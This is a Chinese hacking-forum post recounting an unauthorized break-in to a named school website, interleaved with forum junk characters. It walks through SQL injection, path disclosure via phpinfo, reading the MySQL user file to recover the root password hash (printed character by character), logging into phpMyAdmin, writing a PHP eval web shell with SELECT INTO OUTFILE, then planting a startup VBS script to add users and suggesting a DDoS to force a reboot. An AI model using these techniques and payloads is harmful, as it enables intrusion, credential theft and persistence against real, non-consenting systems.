第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏6 P5 y2 B6 A0 T8 d) w G4 v: S
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！
& ?# p8 I- I T9 Q/ m" M' W" w1 ], y, |( C8 ?+ w
9 A1 }& {$ Y) ^7 E* `7 \
/ L" o5 n" m4 w9 L' f h- a$ J& r常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
( x5 q ^8 T0 l6 L6 p# v; E% q6 E: m' o- u! B, z) j3 g: }
那么想可以直接写入shell ，getshell有几个条件：: P- P# ~0 M- N4 C$ B& Q% b
1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF " j) h5 O& L o$ [$ s' ]& ^2 U
0 T1 ?! ^4 E2 [* o试着爆绝对路径： " z- K. V1 q' k, G
1./phpMyAdmin/index.php?lang[]=1
7 @ L, ?9 ^. L( g! l& C2./phpMyAdmin/phpinfo.php $ {5 j# h# \. l1 n
3./load_file()
+ F! |+ C( w) d# e- m+ V4./phpmyadmin/themes/darkblue_orange/layout.inc.php " ]( z$ u( u7 I$ `% U* S! V
5./phpmyadmin/libraries/select_lang.lib.php
) Z9 x' f6 C% h* S- j V% h- q# L6./phpmyadmin/libraries/lect_lang.lib.php - d- M ]& T5 a' E9 d! O
7./phpmyadmin/libraries/mcrypt.lib.php
6 q7 ?8 P( |( e |7 G, j8./phpmyadmin/libraries/export/xls.php ! a) W/ H- E! ]3 Q8 f
$ T* c3 `7 V6 f2 ~
均不行...........................
; M$ Q& n& `/ l4 W5 [0 g# d) I: I* M6 J5 @% N- C5 s* _
御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php
7 _# y3 Q2 T' ]* A
$ e9 v) b# z2 A- F8 q' A权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin ; \9 L+ W& Z3 v8 Z8 I. E+ ~
% W! `& T# x/ Q7 \默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败 ) x' ?& u2 B0 u- g7 g! G
4 a( ^6 E& j7 e7 O. ]" r
敏感东西： http://202.103.49.66/Admincp.php 社工进不去........... 2 j6 e' s; V1 H2 Z
4 ?4 [ Q$ H( C* e9 q想想root还可以读，读到root密码进phpmyadmin 也可以拿shell , \( E8 E9 Y6 a/ g5 t
0 A! k: C- e5 R1 N1 E4 k" A
http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini + ~, Y5 C5 `! W$ s
8 x3 G6 A+ K r. F3 e- j自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD : ~) Z2 Y9 c/ V' s/ G5 {5 n O
" |2 m- T; `* i( I
成功读到root密码：
" o" O6 F6 S) R+ [/ f' }5 v+ C( V" S. b4 z8 J$ k
17---- r(0072)
# |# Q) n% L U/ W, R; \ l18---- o(006f)
( y) l9 g& L K; O! {19---- o(006f) 2 x7 G8 y$ C0 C- W: l
20---- t(0074)
' R/ h: M: I- {/ ^- l" T21---- *(002a)
# L2 W! }9 Z* G8 i% j. Q0 F, Z( I4 e22---- 8(0038) : B: h5 ^. f# j
23---- 2(0032) & Y3 d% {5 {/ D/ m3 c: E
24---- E(0045) . R/ ]9 O6 ^5 a" t j2 a: n: q: `
25---- 1(0031)
[# X$ g# b m. X( H26---- C(0043) ) U( N' }# g- e, w! p
27---- 5(0035) 2 @# M. z; R( G' l4 @
28---- 8(0038)
8 ^$ L3 L3 z! ]3 S u; C! t29---- 2(0032) 6 Y/ T- P5 e& F/ C3 Z) |
30---- 8(0038)
# b; `% {' ^, F& B; v31---- A(0041) ' k. Q$ l- B Z0 y7 ~% }
32---- 9(0039) 5 F' i9 Y/ a8 P9 I
33---- B(0042) % O( L1 P$ `; a& ^
34---- 5(0035)
4 D8 O! ]* B8 _7 m) S8 W35---- 4(0034)
- `# |/ R2 E# i: e9 r( p% b36---- 8(0038) % ` Z; d* P; Z% c$ {9 V5 N3 Y
37---- 6(0036)
2 m( j' f& g9 B, a* ~& F9 Q3 M38---- 4(0034) " c9 Z2 k' x0 b; N$ ^/ I6 ^
39---- 9(0039) 3 A \) H4 Z6 c7 Y$ ]/ v8 Q2 U
40---- 1(0031) " d; K: n$ y9 I! @6 p
41---- 1(0031)
( r3 w2 r- H. k& ^42---- 5(0035)
! \* H2 ?+ v/ o0 Q0 {5 T" l$ C43---- 3(0033) / j9 T& B, ]) S# w7 D# \( Z) M4 ~
44---- 5(0035) 8 U1 L2 l, Q/ l- i9 q* Y V
45---- 9(0039) 4 K% ?! k ?% b" E$ p
46---- 8(0038) , O H. ]. _3 Y2 Q X
47---- F(0046) ! M. n# E4 m, ?0 H9 \: n$ U$ Y, s
48---- F(0046) + d; {& t# {, ?' |0 {6 M; [
49---- 4(0034)
7 b. G/ B1 g) a% _8 U50---- F(0046) , I$ [+ p8 E' Z3 z* M
51---- 0(0030) 7 S9 f! u2 B7 h6 D f
52---- 3(0033) ( W- S i9 n" T9 L6 I
53---- 2(0032) . B! t' w; a9 X9 T, P0 |
54---- A(0041)
+ q4 H- d- f2 j+ q55---- 4(0034) 1 e- W) {2 J6 J/ H5 h3 r
56---- A(0041)
0 {' a( p4 E6 g2 w57---- B(0042)
2 F6 T E) i6 M/ e9 U58---- *(0044) . w- m) e$ x# R; n' t7 \( U
59---- *(0035) 4 {$ {- v. ?# J' r% g0 @
60---- *(0041)
' | k% S; G, W: ~5 o1 U1 O61---- *0032)
: r5 S- C( L* Y: F) F! x
+ Q5 F% j7 Y( s2 F- F3 }5 |解密后成功登陆phpmyamin , I" u& Y9 H) Q- ^- j! C
q/ y1 {& e! }/ J# @ W' _
/ x7 }0 }7 y- G* Y- d. b; T
4 G9 T: c& O* H+ v+ B9 S1 l9 ]9 j/ G
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' 7 u$ S, J S0 D& l5 Q0 j. L4 I' N6 d. q
L2 ~& f8 i0 w: N
成功执行，拿下shell，菜刀连接：
2 f; x7 \' Q- ^% y# s/ r# ^$ _" n* D$ |0 F4 e) {, ^
服务器不支持asp,aspx,php提权无果...................
2 R' q3 y9 u- o" S5 p0 ], p( a9 j3 L& d7 ]% h9 ]& _* |: w
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
9 l" j/ l; W% E6 T" E; q' L服务器上已经有个隐藏帐号了
2 h) p; j$ @) q& l4 u# z2 W别名 administrators
5 F8 M( u' W- t3 o6 j. Q0 K8 Z Q$ J9 O注释 管理员对计算机/域有不受限制的完全访问权 % v. e- x8 s1 J$ U& e: j: l
成员
+ g0 r( d. X6 L# p-------------------------------------------------------------------------------) V2 p0 A" z; F( U1 u5 x2 i3 ]& P0 f
admin3 z( n' z( r( g, D
Administrator
' g9 m* U( q0 e" g4 _slipper$# N7 \9 ?; ^ ^% B5 K
sqluser
4 R X; I% @4 I1 [5 T命令成功完成。 3 d; j( a8 V" A' j( v8 I8 G
3 P4 H* E3 E8 A/ Z7 [服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
4 f! c* S% d: L+ x( k; {% L, M5 e2 b; C9 c
ddos服务器重启，不然就只能坐等服务器重启了...............................+ }1 B# T0 ^" G2 W+ n% M
) U* K* @# d4 [6 X* e' I
+ Z* v, Z( C0 d* M- k/ e7 F
| 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
